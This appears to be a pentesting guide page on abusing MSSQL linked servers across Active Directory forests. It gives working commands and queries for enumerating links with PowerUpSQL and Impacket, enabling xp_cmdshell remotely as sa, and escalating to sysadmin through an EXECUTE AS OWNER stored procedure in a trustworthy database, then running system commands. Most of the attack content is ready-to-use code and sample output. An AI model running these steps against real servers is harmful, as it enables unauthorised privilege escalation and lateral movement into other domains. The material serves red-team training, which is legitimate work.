# Abusing SQL Linked Servers

Cross-forest MSSQL linked servers facilitate communication and data exchange between SQL Server instances located in different Active Directory forests. This configuration allows SQL Server instances in one forest to access data and resources hosted by SQL Server instances in another forest.

If we manage to get access to a SQL database with linked servers we can try to "hop" the trust by executing command on those and get a foothold in a new domain.

#### Privileged Access to Server Links

This scenario occurs when a domain user has elevated remote access to a server in another domain with `sa` (sysadmin) privileges.

To enumerate these privileges we can use `PowerUpSQL`

```powershell
import-module .\PowerUpSQL.ps1
Get-SQLServerLink

<SNIP>

ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 1
DatabaseLinkName       : SQL02\SQLEXPRESS
DatabaseLinkLocation   : Remote
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             : domain\otter
RemoteLoginName        : sa
is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 1/4/2024 2:09:31 AM
```

We can see that the SQL02 database is linked to the SQL01 one, looking at the `LocalLogin` and `RemoteLoginName` attributes we discover that the `otter` user has `sa` privileges over the linked server. To get further confirmation we can use the `sp_helplinkedsrvlogin` to get more information about the remote logins

```powershell
Get-SQLQuery  -Query "EXEC sp_helplinkedsrvlogin"
```

Alternatively we could use `mssqlclient` from the Impacket suite which has some handy commands to perform actions on linked servers directly.

```bash
mssqlclient.py otter@sql01.domain.com -windows-auth

<SNIP>

SQL (domain\otter  guest@master)> enum_links

SQL01\SQLEXPRESS   SQLNCLI            SQL Server    SQL01\SQLEXPRESS   NULL                 NULL           NULL      

SQL02\SQLEXPRESS   SQLNCLI            SQL Server    SQL02\SQLEXPRESS   NULL                 NULL           NULL      

Linked Server      Local Login           Is Self Mapping   Remote Login   
----------------   -------------------   ---------------   ------------   
SQL02\SQLEXPRESS   domain\otter                        0   sa             
```

As `sa` we can, for example, enable `xp_cmdshell` to execute commands from the server; this can be done from `mssqlclient` or Windows clients like [SSMS](https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16) or [heidiSQL](https://www.heidisql.com)

```bash
SQL (domain\otter  guest@master)> use_link "SQL02\SQLEXPRESS"
SQL >"SQL02\SQLEXPRESS" (sa  dbo@master)> enable_xp_cmdshell
SQL >"SQL02\SQLEXPRESS" (sa  dbo@master)> xp_cmdshell "whoami"
```

```sql
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "SQL02\SQLEXPRESS"
EXECUTE('xp_cmdshell "whoami"') AT "SQL02\SQLEXPRESS"
```

#### Trustworthy Databases

If a user within our domain hasn't been granted remote login permissions as a sysadmin, but instead has been provided public privileges as a local SQL User in SQL02 (which is part of the other domain), we can pursue a strategy to enumerate `trusted databases` on the targeted linked server. Our objective would be to determine if the user holds the `db_owner` role for any trusted database, if that's the case we can create a stored procedure to enable `xp_cmdshell`, ensuring it executes under the context of the `OWNER`, which typically would be the `sa` user.

Just like before we'll enumerate the linked databases

```powershell
Get-SQLServerLink

<SNIP>

ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 1
DatabaseLinkName       : SQL02\SQLEXPRESS
DatabaseLinkLocation   : Remote
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             :
RemoteLoginName        :
is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 1/4/2024 2:09:31 AM
```

Here the `LocalLogin` and `RemoteLoginName` fields are empty, this means that the domain user we're executing the command with doesn't have `sa` permissions; we can still retrieve the login ID of the domain user on the linked server using

```sql
select * from openquery("SQL02\SQLEXPRESS",'select SUSER_NAME()')
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''public'')')

# list all DBs
select * from openquery("SQL02\SQLEXPRESS",'select name FROM master.dbo.sysdatabases')
```

```bash
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_logins
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_users
```

Next, we must ascertain whether any of the databases enumerated possess trustworthiness enabled to identify if any of the enumerated databases have `is_trustworthy_on` enabled.

{% code overflow="wrap" %}

```sql
select * from openquery("SQL02\SQLEXPRESS",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')
```

{% endcode %}

```bash
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_db
```

Once we identify one or more databases we have to check if our user has `db_owner` role.

```sql
EXEC ('sp_helpuser') AT "SQL02\SQLEXPRESS"
```

The following query checks whether the owner of the database is also sysadmin

{% code overflow="wrap" %}

```sql
select * from openquery("SQL02\SQLEXPRESS",'SELECT name as database_name , SUSER_NAME(owner_sid) AS owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;')
```

{% endcode %}

{% code overflow="wrap" %}

```bash
SQL >"SQL02\SQLEXPRESS" (otter  otter@master)> SELECT name as database_name, SUSER_NAME(owner_sid) AS owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases;
```

{% endcode %}

To abuse this configuration we'll create a stored procedure to escalate our privileges. First we need to check if the `IS_RPC_OUT_ENABLED` option is enabled, this enables the SQL server to make outbound calls to other servers using RPC.

```sql
select is_rpc_out_enabled from sys.servers where name='SQL02\SQLEXPRESS'
```

If the feature is enabled we can execute the following query

{% code overflow="wrap" %}

```sql
EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''owner_of_db'',''sysadmin''') AT "SQL02\SQLEXPRESS"
```

{% endcode %}

and then execute the procedure

{% code overflow="wrap" %}

```sql
EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "SQL02\SQLEXPRESS"
```

{% endcode %}

We can do the same from linux

{% code overflow="wrap" %}

```bash
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'owner_of_db','sysadmin'
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> EXEC sp_escalate
```

{% endcode %}

From this point on we're sysadmin and resume with the standard exploitation by enabling `xp_cmdshell` and getting command execution on the server.
